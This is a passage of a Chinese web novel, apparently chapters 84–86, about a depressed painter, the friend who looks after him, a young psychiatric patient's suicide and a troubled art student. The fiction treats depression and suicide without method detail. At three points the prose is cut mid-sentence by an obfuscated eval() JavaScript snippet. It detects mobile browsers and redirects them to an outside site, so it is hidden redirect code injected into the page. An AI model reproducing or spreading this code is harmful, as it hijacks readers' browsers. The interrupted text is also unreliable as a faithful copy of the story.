“我就不像他，我觉得很艺术。”齐怀生扬扬脑袋，好像在证明谁才是他的“知音”。他拉过高脚椅坐下，展开白色少年画，挂在画架上。 这个人故作无礼，其实比以前温柔了，陈向然想。 夕阳被窗户栏杆切割成光斑，地上、墙上、天花板的色彩给他作捧。他看画时的侧脸太认真，眼里一双琥珀盈光流转，像能把世界永远地包裹起来。 他觉得自己有多糟糕，眼前这个人就有多美好。他是画笔留不下的艺术。从七年前他就想，他不可成为这个完美的人唯一的残缺。 “舍得还我了？”陈向然漠然道，“放好就回去吧，也不早了。” “没说还你。” “那放我画架做什么？” “借放。”齐怀生理所当然地站起来，拍拍灰，站远了欣赏，“对了，我不走。我家煤气漏了，借你这住。” “……” 这人没打算征得他同意，自顾自挑拣他桌上的画具。他常常画完不洗，几支毛刷板结了，调色盘也老化了。齐怀生趴下身，双击iPad屏幕，看起电影的结局。最后一幕是电影的名字，他念出中文翻译：“阿基里斯与龟。讲艺术的电影，你喜欢？” 他一起身，望见的是陈向然的背影。站在昏光里，轮廓修饰得朦胧缥缈，消瘦得毛衣也遮不住突出的骨架。 “你是真爱艺术。”齐怀生向那背影走去，“你记得那个叫杨翎的女生吗？她住院快俩月了，双相，和你一样也喜欢画画。” “所以那天你带我去看她。”陈向然回头，齐怀生就贴在身后，额头正擦过他的人中。 齐怀生愣了一下，垂了垂眼帘，隐约一丝失落：“嗯。你更接受一个有共同点的人，对吧。” “共同点就是，我们到最后，都要伤害别人。”陈向然抬眼凝视他，上半脸笼罩着阴影，黑眼圈和下撇的眼角衬得他如行尸，“一点一点，把活人吸得干枯为止。你明白的。” 他们病人就是如此，吸干所爱之人的金钱、时间、幸福。齐怀生比谁都明白，他们还随时可能逃离一切，把受到的伤害作刺，穿透他们爱的人。 “真的么？”齐怀生走近一步。 陈向然往后退，后背抵上窗台：“你到底要干嘛？” “要不试试看？来伤害我。” “齐怀生你是吃错药了吗？” “噢，对了，今天的药吃了没？按用药明细吃。” 严肃的话语仿佛消解作玩笑，陈向然无言以对，推开他走出了画室。 厨房里在炖汤，锅盖咕嘟嘟地浮动。他在门口稍微顿了一下，探头进去。果然，他不记得自己买过炖锅。铲子大勺平底锅也没有一样是自己的。齐怀生这是背了多少东西来？ 真打算赖着不走了？ 他暴躁地磨着拖鞋走进卧室，正想锁门，那人又抵住了门跟进来。问他想干什么，说要收拾一下床铺今晚好睡觉。说完就去开衣柜，要多洗一床被子。 他没提枕头，陈向然这才想起床上有两个枕头。一个多月前齐怀生在这睡了一晚，尔后他没有收起来。每晚用枕头上残留的气味作迷香。哪怕后来气息散了，也懒得再清洗归放——他的气力全用在活过每一天。有时肢僵、发泄、意识迟钝，不能下床、或者走出画室，给来拜访的龙皓开门。 这种日子，到哪天算哪天。陈向然常对着窗外肮脏的巷道抽几口烟，一边这样想着。 第一次遇见龙皓，这个小少年正离家出走，到城中村一带接活。被人讹，打了白工。那天陈向然正好在附近买醉，把黑心店主揍了。店主见他披头散发、眼里充血，活像这一带结群的混混，以为碰上了哪位爷，吓得不轻，哆哆嗦嗦掏钱给了龙皓。 自此被这烦人家伙缠上。少年发现他是个画师，更来劲了。天天到家门口堵着，说不上学了，就要从他学画。 有时看画看到一半，陈向然突然把他踹出画室，锁上门，像个疯子一样把画室弄得一团糟，直到昏厥。醒来时蜷缩在地上，看到一幅无意间发泄的画，和愈加斑斓的墙面和天花板。心想着这幅画能让他这个月多吃几顿餐。 起身开门，龙皓还等在外头，进来替他收拾房间。此后，龙皓总在下课后主动替他打扫卫生，但还不敢生闯卧室清洗私人物品。 好在这孩子对抑郁症没太大好奇心，从不问“你怎么会抑郁呢”、“世界还是很美好的”、“是不是太敏感了”之类摸不着头脑的问题。除了劝吃药比较烦人以外，就只剩下满口废话和满脸傻笑。 一脸的天真，就是这样明朗的小孩，离家出走了。几天后也不知联系上了谁，住进了一套宽敞的学区房。 “我晚上去趟医院，你在家好好的。”齐怀生把他唤回神，唰地套上棕色皮夹克。陈向然竖起耳朵，阳台洗衣机正隆隆转动。 “找叶知？”陈向然皱眉，“精神科医生没有晚班。” “我去她宿舍。”齐怀生看了眼时间，经过他时拍拍他的肩，“饭菜在厨房，自己盛。” “齐怀生。” 齐怀生背影止住，回头：“嗯？” “她……”陈向然隐约有恶感，声音透着不安，“出事了吧？为什么要在晚上……” 他敏锐地想到，合住宿舍，异性不方便进出。如果不是很需要帮助，齐怀生不会在晚上去探望妹妹。 齐怀生注视他许久，朝他走来，把人拥进怀里，揉揉他的发辫：“小事。就是第一次遇到棘手的病人，累了，有点扛不住。” 陈向然把额头抵在他肩上，闭了闭眼：“她已经好了，别让她又……” “相信我吧。我不是医生，好歹也是有经验的人。”齐怀生松开他，指腹摸摸他的胡茬，“倒是你，好好配合治疗，给叶医生一点护心丸好吧？” 陈向然难得在这件事上点了头。齐怀生终于露出个轻松的笑，把他的头发揉乱，再重新扎好。 夜空气冰凉，空气凝成水珠，坠挂在光秃秃的枝梢。齐怀生立起领子，把夹克 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302003|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉链拉到顶端。叶知的宿舍在四楼，亮着灯。他仰头凝望，叹出一口白雾。 杨翎，可不只是棘手那么简单。 贼似的蹑手蹑脚进了叶知的合住宿舍，室友的房间门都关着。他轻轻敲了叶知的房门，年轻的医生打开门，瞳仁黑沉沉的，被血丝包围。她看了看齐怀生，留着敞开的门，躺回她的小沙发。 二十平的小房间，五脏俱全。床、衣柜、电脑桌、沙发摆放科学，还显得宽敞。 齐怀生听听室友的动静，确认没打扰人家，才小心翼翼关上门：“没发作吧？” “过段时间再看看。”叶知把药片铝板拨到一边——铝板是完整的，她没选择吃药，只用力揉着眉心，“应该不会发展成复发。” “老哥能帮你点什么？”齐怀生坐上电脑桌。 “上次那个，你介绍来的龙皓，叫他别再来了，太乱了。”叶知想到当时的场面，太阳穴又一跳，“不让我们收杨翎的刮刀。解释过了住院部精神病区不给带利器。他就说那是画具。我当然知道那是画具，可前台连边角锋利的纸盒都不让带进去的……” 叶知滔滔不绝，齐怀生静静听着，偶尔配合地问几个问题。她流下眼泪，齐怀生就递来一张纸，在她背上一下一下地拍。 刮刀事件不过是个前奏，叶知也想不到那天后不久，杨翎自杀了。家属报警，要追究院方责任，索赔好几十万。自杀原因判断为抑郁症。叶知既是医生又曾为患者，只有她明白，这个结论没有错，却也无情。这么个不受关注的病，无意间成了司法上的便利。 杨母给她办了出院。出院前的答题测试显示她恢复为中度，达到出院标准。 叶知再见到杨翎，是一张尸体照片。镜头很远，看不到脸，整个人灰白、血红交织横陈。她浑身木了，迈不动步。据说这个孩子不知从哪来的一百粒装安眠药，药瓶滚到床底下，新开盖的塑料封条还在，只剩寥寥几颗。 “听说那个男孩子也去了，被警察叫去做笔录。”护士站里在议论。 龙皓彼时硬闯现场。他的反应像是知道什么，来晚了，跪在杨翎的尸体旁，就那么愣愣地盯着她的脸，石头似的沉，谁也拉不动。 杨翎被送去急救，象征性努力两个小时，才宣布结果。因为确认安眠药不是住院部的，护士们才不至于被问责。 “你别跟陈向然说。”叶知尽力压着哭腔。 “我当然不和他说。”齐怀生还在给她顺气，“你是不是想说，她身边有人害她？你想也没用，药是她自己服的。引导者不会受太大惩罚。” “我不知道。那是处方药，我从没给开过量。谁会给她那么大一瓶？怎么给的？我不想这么说，但最近跟她接触最频繁的就是龙皓。”叶知被啜泣打断话语，又抽了张纸巾，摁着胸口平复，“你也别让龙皓太接近陈向然了。” “警方呢？” “介入调查了。” 叶知用一个晚上倾诉了所有事。类似的事，她十六七岁便见过了。见过别的生命陨落，也曾离一了百了只一步之遥。多少年过去了，她还是没有长进地无助又懊丧。不为“死亡”，是因为“自尽”。 绝望安静地淹没了求生本能，无人见得到沼泽里沦陷的过程。 而齐怀生学会了一件事。他不再猜他们在想什么，只是陪他们熬过一个又一个冬夜。 陈向然睡了。面对墙壁，留给他一个弓起的背影。 齐怀生脱下外套。不自觉地动了动嘴角，轻手轻脚坐在床边，俯身看看睡着的侧脸。指尖正要触碰，听见他说：“回来了？” 瞬间有种干坏事被发现的尴尬：“嗯。吃药了吗？怎么还没睡？” 屋里寂然无声，窗外偶有电驴“呜”地路过，灯光游鱼一样从天花板、衣柜上滑过。陈向然扯扯枕头套，他其实睡过一觉，早早醒来了。发现身边仍有多出的枕头被子，泛着洗衣液的清香，人却不在，便没了睡意。打开手机看有没有齐怀生的信息，但只看到龙皓发来一堆奇奇怪怪的提问。 他费劲地撑起身子，顶着一头乱发下床，冲他招招手：“过来，洗完澡再上床。” “你要帮我洗？” “……帮你开阀门。” 陈向然觉得自己过得提心吊胆——也不得不提心吊胆。天然气泄漏时正好卧床不起可不是什么好事。有齐怀生在，他好像更不能松懈了。到底还是把他牵扯到身边来。 煤气泄露吗……他叹了口气。 找借口也认真点吧。 85. 试探 “药不就是从医院来的吗？不是你们给的还能是谁？” “我女儿住院前也一直在上学啊。高中了学业压力大点很正常，怎么可能自杀？别推脱，就是你们用药的问题。我就说吃药不靠谱，只会更严重！” “我就出个差，回来就……” 女人形容憔悴，脸色惨白，激动得面容扭曲，满是干涸的泪痕。又仿佛无力再闹，双目空洞地揪紧叶知的白大褂。 “这位女士，您先冷静一下。坐会儿，坐会儿。”叶知的上级徐主任出面安抚家属，挥挥手令在场的护士去倒杯水。 电梯门一开就感到吵闹，陈向然老老实实来复诊，却看到这一幕。 杨翎母亲正要动手打人，被两个护士制止。叶知眼眶发红，细看还有些肿——朝齐怀生使了眼色，陈向然便被拉走了。前台护士声音尖亮，他忍不住掏了掏耳朵。 “不好意思啊，叶医生和徐医生早上的号一律改到下午……”护士说着,把那间诊室的门关上，封住激烈的言语。 屏幕上的名字停止滚动，候诊厅的灯灭了两盏，一半昏白，一半灰暗。 陈向然早上赖床不起，齐怀生使了十八般武艺才把人拖到这来，勉强赶上预约时间，却也中午了。还有二十分钟，医生们就该下班了——大厅只剩两名等待的患者。 陈向然算了算，再等上两个多小时，叶知上下午班，就轮到他就诊。 “等会儿啊，我叫个外卖。”齐怀生打开了APP。 陈向然侧头望着那边的房间，候诊厅很安静，只有不时踱步的焦躁患者，女人的咆哮声清晰可辨。他能听见，忍不住去听，一句比一句清晰。 “我好后悔把她交给你们。”声音是闷的，哭腔很重，杨母掩面哭泣，连啜带喘的，“她就是睡觉睡太多了不对劲，我才把她带来，你们却把她整成这样。你们都知道什么啊，我在她身上花了多少钱多少精力，钢琴舞蹈播音主持她样样都会，成绩也一直是年级前十名，以后就是清华北大的料。那么好的孩子……可是有一天她突然跟我说，妈妈我好累，她说妈妈我觉得活着好累……” 陈向然默默地收回视线，头垂得很低，正对窗户。天光苍白，透过玻璃上淡青色的遮光膜照进来，散下来的发丝乱糟糟的，将视线切割成碎片。他微微抬起眼皮，窗玻璃上映出自己凹陷的眼眶。 他从不爱照镜子，不敢看自己的模样。偶尔瞥见，总惊讶于自己的变化。 一只手绕过肩膀，捂上他的右耳。掌心是热的，热得发烫。齐怀生在他左耳边说：“别听了。” 他的五感如他内心一样敏感。哪做得到不听呢？有声的听得见，无声的也听得见。 只唯独听不见他幻境里的鲸鱼。他也感到自己早褪去了少年时的灵动。 “我也有女儿，我非常明白您的心情。但是，杨翎妈妈，您听我说。”姓徐的主任医师声音带着暖意，“您有没有考虑过孩子父亲的问题呢？” “她爸……她爸有什么问题？他照顾她的时间比我还多呢。” “虽然现在说这些为时已晚。杨翎在住院期间同我们说过，她的父亲为了叫她起床，持续用灯光照射她的脸。因为督促让她学习，在她躺床上时播放英语听力。我听说当初办理出院手续，杨翎本人是不愿意的。” “我……我们不知道会这样呀。”杨母的声音难以置信地高亢起来，“她整天整天地睡觉，我们担心啊。我们是父母，怎么可能害她去寻短见呀？不行，这个叶医生，今天得跟我去警局，我要求审问……” 这样的对话，杨母想必是向警方提出调查主治医生，因为证据不足或程序不规范，被拒绝了。 陈向然五指戳进头发里，抓得更乱了。 他常年不修边幅，齐怀生总是不厌其烦地替他把辫子拢好、扎好。 “这种事……”他沙哑地开口，“不该让警方调查吗？” “确定是自杀了。” “那为什么自杀呢？” “因为抑郁发作。” “那……如果是被人蓄意刺激呢？” “还在查，查出来了，也构不成杀人罪。”齐怀生扣好最后一圈皮筋，手指滑过发辫，绕着把玩，“你想听的是这个吧？但是……很可惜，抑郁症、双相，也是受人刺激造成的。” 是长期的、无数大大小小的刺激叠加而成。 他好像明白了自己想要什么答案。模模糊糊地，有那么一点明白，关于那个心结——关于“为什么是我”的疑问。 齐怀生从一楼取来外卖。两份热腾腾的芝士焗饭，埋了火腿、鸡肉，再点缀几块西兰花。端着不方便吃，齐怀生示意他坐到地上，背靠墙壁，两腿曲起，饭盒就搁在膝盖上。 “记得吗？”齐怀生咬着一次性竹筷掰开，把芝士肉酱和米饭搅拌在一起，嘴边挂着笑，“我爸刚出事那会儿，咱也这么吃饭，在医院里。” 而陈向然扔来一句冷漠的：“不太记得。” “你那时候看着比我还难过，这就不记得了？”齐怀生用额头碰碰他的脑袋。 陈向然没躲，任由他一天比一天亲昵的行为，也不说话，慢条斯理吃着饭。 他忘了很多事，只偶尔想起些零碎片段——譬如齐怀生的父亲，那个为儿子奉献了大半生的男人，那时差点让儿子断了求学路。 忘了很多，偏偏做MECT电击的酥麻感还记得清楚。还有林岚。五六年不见，记忆里母亲的容貌早模糊了，却记得把他拖拽到治疗室的那股力道。她说，如果不好好治疗，就要与他断绝关系。 他经过几次电击，几度忘记林岚的姓名。而后他逃走了，逃到无人认识的地方。电击大约还是有些用处，他意识空明，无悲无喜，不再迫切地寻找死亡，只想寻找答案。 “叔叔现在怎样了？”他问。 “精神是不错，但身体其实不太好，留下基础病了。他啊……”齐怀生顿了顿，“听说你不见了，让我一定要找到你，找多久都要找到。” 陈向然握筷的手顿住了。 “这样……”他漫不经心地挑着饭粒，“因为你爸，你才来找我。” 齐怀生扭头，看他一撮扎不起来的头发失落地垂下来，轻轻笑了一声：“对啊，要不是我爸，谁找你。把我丢下的账还没跟你算，哈哈……” 陈向然听出这笑声干涩无力，心知是个真心的玩笑。事情过去好几年了，可在有些人心里从没过去。 他以为这样就好了，永远远离爱的人们，这样就好了。然而命运不让他安好，即使如蜘蛛丝一样的线索也要缠绕在齐怀生的指尖，牵引到他身边来。 陈向然把头埋得更低，匆匆吃完饭，掏出手机看看龙皓又发了什么。 他不爱关注龙皓的信息，嫌兔崽子烦。可这人最近太反常，不来上课便罢了，喜欢玩午夜凶铃。要是不回消息，就要打电话过来。陈向然半夜早醒，抑郁发作，极讨厌接电话，只能偶尔看看手机。 “还有半个多小时。”齐怀生扔完外卖盒回来，贴着他坐下，“聊聊吗？你和谁聊天呢？” 一个刺猬头伸过来，陈向然把手机挪了挪，打字的手指隐约遮挡聊天框：“没谁。” “龙皓啊。”齐怀生感到他浑身上下透着拒绝，也不看他了，“一周不见，他最近怎么样？” “不找我上课，又天天找我说些废话。”他熄了手机屏，“懒得管他了。” 接下来半小时齐怀生都沉默不语。 四周安静得陈向然就快睡着，一直到有患者踏入这条走廊，他才清醒过来。 睁开眼，身上盖了齐怀生的皮夹克，泛着宁神的檀香。 ——你说，死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302004|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亡真是一种解脱吗？ ——他们会后悔吗？还是觉得，少了一个负担？ 陈向然坐在小电驴后座，刷看龙皓前前后后说的话。 他觉得不对劲。 这么个乐天的人，前阵子还笑着说他成绩进步了两百名，也开始谈论死亡了。 他一开始没在意，青春期的好奇心而已，回答得很敷衍。此时才感到异样，一种很熟悉的异样。于是一路回复消息，到家了在回复，吃饭还在回复，洗澡还要把手机带进浴室。 齐怀生大约是喊过他，他记不清了，没有回应过似有若无的呼唤。有一只手伸向他的手机，也被他一手拍开了。 黄昏。 以前也有过这般火红的残阳，把一个少年写给他的文字映得朦胧晕眩。 直到天黑他也没停下来，早就不晓得自己在回复些什么。只是在屋里坐立不安地踱步，掌心不停出汗。 ——为什么会到这一步？为什么是她？ 龙皓仍在发消息，仿佛聊天窗口的另一头不是陈向然，而是个无底黑洞。他每发一句，陈向然的牙关就咬紧一分。 他什么也不知道，于是什么也做不了。 他快被逼疯了。 ——被人间抛弃的人，会被星辰接纳吧。 “为什么是他？”他自言自语，“为什么是我？为什么是……我们？” “这么晚了就别玩手机了。” 深夜虫鸣，陈向然被近在耳后的声音吓一跳，扭头就碰到了齐怀生。 浴室门口空间极狭小，只勉强容两个人。齐怀生一动不动地站在那，一手拎着换洗衣服，两脚堵住了门口。他今晚又去陪叶知，回来时已然半夜。 “让开，我睡觉了。”陈向然拨开他。 他只往旁边让了一点：“多晚了，为什么不睡觉？” 陈向然迟疑片刻。其实是为了等他，没有吃唑仑片。齐怀生才是他最好的药。 原来自己不知不觉在接受他。这对他不公平，陈向然心想。 齐怀生追问：“吃药了吗？” “我睡不睡，和你没关。” “只要我在你身边一天，就和我有关。” “……”陈向然一时语塞，最终搪塞过去，“我有事，晚点睡。” “还跟谁聊天呢？” 他挤着走出去，听齐怀生说得漫不经心，怒意如黑色藤蔓将他缠裹起来，冷冷地说：“你想怎样？” 齐怀生一怔，转开脸，荡开衣服撂挂钩上：“没什么，随便问问。” “这么想管我？” “没这个意思。” “好。”陈向然的声音一如外面的冷空气，“我和龙皓聊天，行么？是不是还要问聊了什么？” 竟是这么个结果。齐怀生忍住叹气的冲动。才刚开始试探，倒被对方看透了。 陈向然的声音隐隐颤抖：“对不起。但是……”他回头，背影没入黑暗，“你收拾一下，明天就回去吧，如果没别的事——” “那要有事呢？”齐怀生打开水泵，试了试水温。 “就现在说。” 齐怀生关了水流，空间里又是死寂。余留的水珠嘀嗒、嘀嗒砸在地板砖上。 他凝视陈向然的背影，缓缓走上去，猛地握紧他细瘦的手腕。陈向然疼得吸了口冷气，回头见对方那双眼盈盈有神，神色无比认真。 “不要和龙皓来往了。”齐怀生松了力道，摩挲他突出的腕骨，声音沉而温柔，“他这个人，不太对劲。” 陈向然压下极度无奈的心情，抽回手，揉了揉腕部。 喃喃地说：“他是我的学生，一个孩子而已。” “一个孩子而已……”却要被逼到这个地步，悲哀仍在轮回，现实没有一点改变。 他头也不回地进了房间。 86. 龙皓 谈话不欢而散。 这个人总在深入自己的生活。再待下去，他想，他也要抵挡不住这份亲近了。 正想着怎么委婉地不再相见，齐怀生周末早上回家了。看着空空的小屋还有点失落。 手机忽然“叮咚”一声，把他吓得通体一颤。他手机静音多年，昨天才被齐怀生强制开启铃声，连振动也不允许。 心里有多年拂不去的愧意，他拒绝不了齐怀生的要求。 聊天框里长串的文字，说他现在在做网络音乐，周末要用家里设备录歌，回家一趟，让他记得吃药。自热饭是申恺买的，在他的行李袋里，想吃自己热热。 才发现他的行李袋没有带走，衣服在里面，叠得四四方方。 还留了视频账号。昵称很眼熟，陈向然想了很久才回忆起来，是齐怀生高中时用的那个。 年关将近，街上车辆行人少，小巷寒风猎猎而过。城中村务工的外地人多，这些天大都乘上火车回了老家。陈向然以为能在快餐店占到好位子，喝点啤酒配小串，临到招牌下，只见卷帘门阖得严严实实。 遗憾地低头走人，再仰首，市中心的东塔白日里不亮霓虹，单调地杵在薄雾里。午后雾气渐渐散了，楼厦的窗户跳动着阳光。 龙皓就在东塔楼里上补习班，一周五节课，全科大补。江洲这几年严抓补课机构，漏网之鱼仍旧藏在角落里。补习不好找了，补习费反倒高涨。 约定好的艺考课时间，已过去半小时。照平时，龙皓会在午时前到陈向然家门口蹲着。然而不仅没见人，那小少年已经两天没有发那些意义不明的话了。 裤兜里又是“叮咚”一声，陈向然便暗自无奈。 掏出手机，果然是齐怀生发来信息，问他在不在家，下午的药记得吃了再出去走走，也可以按位置共享的路线去找他云云。 除此之外还有龙皓的一句：在东塔，救命。 冬风吹得他两眼干涩，带来污水坑潮湿浑浊的气息。 他看了眼家的方向——消息不回，一个转身，往东塔的方向去了。 公交转地铁，近在眼前的东塔花了半小时才到。站在大楼花坛前，天还是灰的。云层染了尘埃，冷冷清清。 八楼电梯一开，他很容易确定了方位——走廊那头几扇玻璃窗，老师声音洪亮，英语、光学、几何混作一团。周围家长群聚。门边凑近几个，窗上又趴了几个，指着白板的内容交谈老师的讲课质量。挤不到窗前的焦虑踱步，大都穿着正装，大概是百忙中抽空接孩子，接完还得回公司上班去。还有几个看似安分地坐着，捧个水壶。下课铃一响，忙上前给孩子递。 这是小学、初中生的补习班，陈向然绕到深处，高中生都淹没在头顶般高的书堆里，伸着脖子，笔尖飞快。 龙皓坐在后排，戴上了眼镜。走神间朝这边望来，霎时失色，手里转动的笔“啪嗒”掉在桌上。 声音太响，被老师点名回答问题了。 他正想吐槽，微信提示音又响了。走廊封闭，有回音，这一声仿佛炸了雷，所有家长都朝他看来，有家长怒气冲冲地走上来，压着声音说：“没看到在上课吗？请您手机静音。” “不是家长吧，怎么不懂这种事。” 窃窃私语中高中班的下课铃也响了。陈向然后退几步，背对人群看手机，齐怀生说：我晚上回去做饭，别吃其它东西。 聊天记录满是齐怀生单方面发送的白框，他于心不忍地准备回个“好”，身后突然喊了一声：“然老师！” 他回头，龙皓喊他时仍那样笑着。但孩子眼角稍稍往下撇，眼袋和黑眼圈比以往明显了。目光失神、憔悴，陈向然很熟悉这种憔悴。 他旁边的女人与他面容神似，应该是母亲。眼神飞刀般朝他一瞥，将他打量了遍。 “你是龙皓的画画老师对吧？”龙母挽着一个精致的名牌斜跨包走来，名牌标志的别针挂在包带上最显眼的位置。陈向然向下觑一眼，高跟鞋也不是便宜的牌子。但他认不出货的真假。 “你好，龙皓妈妈。” 对方在审视自己，陈向然心里想着，受不了这样的目光，呼吸都屏住了。对方看他羊毛松垮，到处翻出线头，裤脚灰黑，不是勤洗的样子。眉头渐渐蹙起，似乎在质疑，神色间满是鄙夷。 陈向然鼻腔里发出轻轻的哼声。 “真的是教艺考的？”她问。 “我不专门教考试。”陈向然满不在乎地看着手机，抹去齐怀生的未接来电，故意地说，“我只教艺术。” “不错，现在教艺术的个个都是有钱人。”龙母笑着讽刺，“我们龙皓给你添麻烦了，他以后不艺考了，课也到此为止。他还剩多少学费没交？我多转一万给你，感谢你收留他。” 陈向然抬起眼，对上龙皓惊慌失措的表情。对方使劲冲他眨眼、做口型，要他帮忙劝劝母亲，好像把所有筹码都压在他身上一样。 他倒不介意收下钱，从此跟这小子江湖不见。可他在梦里太多次见到类似的一幕—— 林岚在陆引面前说了许多伪善之言，夸赞陆引事业有成，但儿子不成器，学画不会有这样的前途。家长出现，老师要给面儿。就算是教导者，也要向生育者退让。 时过境迁，他也成了老师，他觉得自己像个帮凶。 “龙皓很有天赋，真的不让他继续学习吗？” 龙皓紧盯着他，有点意外，又在期待着什么。 “他那叫什么天赋，天天拿个铁锹在上面涂。总之我们家长也是不同意他学艺术的，没必要啊，不如好好攻文化课对吧？” “钱不用了。我只是来确认龙皓安全。”陈向然没有扯皮的耐心，越过母子走了。 走廊很长，四周是各式各样的家庭，千篇一律的嘱咐、鞭策。 他还是无法不在意，走到哪都能听到龙母的声音：“看看那人，要是龙皓将来也扎个辫子蓄个胡子，衣服都不整理，噢哟，还得了。” 陈向然浑身一顿，紧接着大跨步离开这。 我选的生活，与人无关。他低着头想。 “喜欢画画没什么不好，当个爱好嘛。”不知谁的母亲客气地说，“年轻的时候都有点理想，挺好的。” 再有个男人笑呵呵说：“哎哟理想，看刚刚那人，搞艺术把自己搞穷了，才想到收学生讨口饭吃——囡囡，咱以后可好好读书，别学那种啊。” 脚步更快了，电梯近在眼前。 龙母说：“嗐，爱好也不行呀，这时候哪有人想学习外的事儿。高考完，他想怎样就怎样。” 他敲下电梯按钮，刷着手机等电梯。齐怀生的电话这时候闯进来，与此同时走廊那头一阵搔乱。龙皓毫无征兆似的情绪失控，撕心裂肺地喊他：“然老师，你等等我。” 陈向然接起电话，往那边觑了一眼。龙皓和母亲拉扯着：“你没说不让我上课对吧！” 陈向然收回目光：“喂。” “为什么不接我电话？你又不开铃声吗？” 龙皓的闹声和齐怀生的抱怨同时炸开。齐怀生是真急了，呼吸急促，说了很多责骂的话。 陈向然揉揉耳朵：“怎么了你？” “几个电话了你都不接，还以为你出什么事。”齐怀生慢慢缓过气来，“等着，我在路上，马上到。” 电梯来了。陈向然顿了顿步子，又望了眼龙皓的方向，沉默地离开。 多年不再想起的那些事，今天想起的格外的多。 他没想龙皓会追到城中村来。 去一趟东塔，遭一番奚落，再回家，折腾到天都快黑了。龙皓不知跟母亲有怎样一番口角，竟甩开那个最亲的人，倔强地跟到这里。 陈向然听到人喊，停在原地。对面拉肠河粉的蒸汽扑来，身旁烟酒铺招牌的红□□管在他脸上明暗映照。路窄，他稍微一偏，就站在人货柜前。老板问他买烟还是买酒，他没理会。 龙皓在他身后扶着膝盖，大口喘气。 “然……然老师。” 为了追上他，这孩子不知玩命跑了多长的路，一口气上不来，差点把肺咳出去。 支吾半天说不出正事。陈向然没耐心，叹了口气，迈开腿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302005|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “陈向然！” 他猛地停下。 败给了对方似的无奈转身，他眼神虚焦。傍晚气温骤降，他看上去更加冰冷而飘忽不定：“胆子大了？” “我……” “直叫大名了？” 龙皓甩了甩累晕乎的头：“那时候你是答应我上课的，不是答应我妈。” “所以？” “我付你那些学费，是我自己的，给那些老板搬货挣的。你生病，我还能照顾你。我没要我爸妈的钱，他们没资格决定我干什么。这江洲，真是好他妈大，我不想承认，但我有时也怕一个人。最需要的时候我不知道他们在哪，现在……” 陈向然忽然一阵耳鸣。 初中时他还在这座城市，人海茫茫，不知归处。林岚工作的地产公司的写字楼夜晚还亮着灯，他望着那座大厦，放弃打扰，转而去港口水边，伸手抚摸江风，偷偷把风儿摹画下来。 珠江水长，赛博朋克游戏里一样的霓虹光景。好像当年的轮渡，可它太热闹太繁华，夜天没有星月，轮船不那么悠然，怎么都没有那个味道了。 他的身体在替他屏蔽龙皓的话语，直到声音被拉长成畸形的细线，再听不清楚。 他的直觉让他说出：“你回家吧。” 龙皓正说道激动处，猝然打断话头，愣在那，好像听见多不可思议的话：“为什么？我向你求助，是想今天的课——” “很晚了，别让人担心。” “我又不是姑娘家。” “不是姑娘就安全么？”陈向然无奈地闭眼，“知道像你那样挣钱的叫什么吗？” “什么？” “日结工。”陈向然低沉地吐出这个词，“你以后，想过这样的生活吗？” “草你怎么跟我妈似的？”他不小心脱口粗话，颔首抹了抹鼻尖，“我，我以为你会站我这边的。” 陈向然沉默了一会儿。 他不得不承认人是社会动物，走自己的路不睬他人打量，太难。 良久，他无能为力地低下头，齐肩碎发遮住了眼睛。几年前，在他还没反应过来时，他便过上现在这般生活。原来现代都市里眼花缭乱的“理想”，没有一个属于他。 他情愿漂流，但龙皓不一样。龙皓还在那个年龄。 “那你想过我现在的生活吗？” “……啊？”龙皓张了张唇，神色慌乱。他在想什么，陈向然大约能猜到。不论他想不想过这样的日子，他一定不想成为一个疯子。 “你这么下去，考不上大学，以后也继续做日结工好了。给你个参考，务工人的收入大概是我的三分之一到一半。要是不懂得上赶着抢老板，还接不着活。” “你觉得，他们过得不如你。” 陈向然不语，顺手掏点皱巴巴的纸币，买了一小盒烟。 “是。”快速点燃一根。他感到这个回答昧良心，不愿看龙皓， “我不懂，可就觉得，他们比你开心啊。” 他手里的烟抖了一下，白雾淹没了半张脸。 “比你笑得多。”龙皓喃喃地重复，“我接工的地方，也有很多阿叔阿姨。他们很辛苦，可是他们每天都笑着。说原来一家子没有工作，因为有县政府补贴，让他们能到大城市来，有了工作，就是世界上最幸运的事。说攒够钱了回老家盖房子，生活天天有盼头。” 盼头啊。 孤身一人确实没什么盼头，他原本也没期望活得长，别成他人累赘就是了。陈向然思忖着，猛抽了一口，浓烟过肺，有点烧灼。 烟还在嘴里，霎时间又被人一把抢走。 烟支掉在地上，一只橙棕色的旅行鞋带着点隐愤，将其整个踏扁。 “你……”陈向然瞪了眼齐怀生。出门抽烟都能让这人抓了，真是活见鬼。 